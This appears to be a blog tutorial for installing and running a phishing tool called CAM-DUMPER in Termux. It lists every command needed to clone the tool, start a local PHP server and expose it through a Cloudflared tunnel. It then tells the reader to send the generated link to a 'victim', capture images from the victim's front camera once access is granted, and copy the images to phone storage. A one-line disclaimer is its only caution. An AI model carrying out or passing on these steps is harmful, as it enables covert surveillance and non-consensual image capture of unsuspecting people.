Installation Guide for CAM-DUMPER Tool in Termux
Step 1: Update Pre-installed Packages
Before installing CAM-DUMPER or any other tool in Termux, it’s essential to update all pre-installed packages to ensure a smooth installation process and usage. Execute the following command:
pkg update && pkg upgrade -y
This command will update all the pre-installed packages in Termux.
Step 2: Install Required Packages
As CAM-DUMPER is hosted on a GitHub repository, we need to install the necessary packages, including git, PHP for starting a PHP server, curl for file retrieval, jq for JavaScript processing, and wget for data retrieval. You can install these packages simultaneously using the following command:
apt
install git php wget curl jq cloudflared openssh
Running this command will efficiently install all the required packages in a timely manner.
Step 3: Clone CAM-DUMPER Tool
Now, we will proceed to clone the CAM-DUMPER tool from the GitHub repository. Execute the following command to download and install CAM-DUMPER in your Termux environment:
git
clone https://github.com/LiNuX-Mallu/CAM-DUMPER.git
This command will initiate the download and installation of the CAM-DUMPER tool in your Termux terminal, making it ready for use.
Step 4: Accessing the Downloaded Tool
With the CAM-DUMPER tool downloaded in your Termux environment, the next step is to navigate to the project folder to commence working with it. If you are unfamiliar with basic Termux commands, we recommend reviewing this post: [Termux all Basic Command].
Execute the following command to access the CAM-DUMPER project folder:
cd
CAM-DUMPER
This command will change your current directory to the CAM-DUMPER folder, allowing you to work within its context.
Step 5: Setting Permissions for Tool Execution
For CAM-DUMPER to function properly, it requires the necessary permissions to execute. While it may function without explicit permission settings, it is considered best practice to grant the tool execute permissions, which will be indicated by the appearance of a green color prompt.
Execute the following command to assign execute permissions to the camdumper.sh file:
chmod
+x
camdumper.sh
If you observe no visible response after entering this command, rest assured that you have successfully completed this step.
Running the CAM-DUMPER Tool in Termux
Step 1: Launching the Tool
Now that everything is set up, it’s time to execute the CAM-DUMPER tool using the bash command. If you’ve restarted Termux, make sure to change your directory to the camdumper folder by following the instructions in Step 4 (previously explained). To initiate the tool, enter the following command:
bash
camdumper.sh
Executing this command will launch the tool, and you’ll be greeted by the introduction screen.
Step 2: Accessing the Main Menu
Upon launching the tool, you will encounter the CAM-DUMPER main menu. Here, you will need to choose between two options: [01] Serveo.net and [02] Ngrok. Due to occasional glitches and instability, we recommend opting for serveo.net to create a local host server in Termux. Select serveo.net by typing ‘1’ in your terminal and pressing ‘Enter’. After selecting the first option, press ‘Enter’ twice to skip additional options.
Step 3: Starting the Tunnel(Termux)
Assuming you’ve completed Step 2 correctly, you now have a running PHP server in your Termux environment. To create a tunnel from your localhost to the internet, open a new Termux session by swiping from the left side of your screen to the right within the Termux terminal. Then, click on “new session.” Copy and paste the following command:(in terminal no need to apply this)
cloudflared tunnel --url
http://127.0.0.1:3333
Step 4: Obtaining the Link
The above command will initiate a Cloudflared tunnel, resulting in the generation of a link. This link should look similar to the one shown in the screenshot below. Copy this link and share it with the intended recipient. Please ensure that this tool is used responsibly and not for illegal purposes.
Step 5: Capturing Images
Now, wait for the victim to click on the link. When the victim grants camera access, the tool will immediately begin capturing image files from the front camera. These captured files will be stored in your Termux storage. To exit the tool, press CTRL + C.
Step 6: Viewing Captured Images
To view the captured files in your Termux environment, you should be familiar with Termux Basic Commands. Simply use the ls command to list the contents of your current directory. You will see a folder named “captured.” Navigate into this folder using the following command:
cd
captured_files && ls
Within this directory, there are two folders: “new” and “old.” You can access the most recently captured images by entering the “new” directory with the following command:
cd
new && ls
Alternatively, you can enter the “old” directory to view older captured images.
Step 7: Moving Captured Files
To access the captured images outside of Termux, you’ll need to move them to your internal storage. Use the mv command to move the files to the internal storage with the following command:
mv * /data/data/com.termux/files/home/storage/shared
After executing this command, open any file manager, go to your internal storage, scroll down, and you will find all the captured images there.(for Terminal)
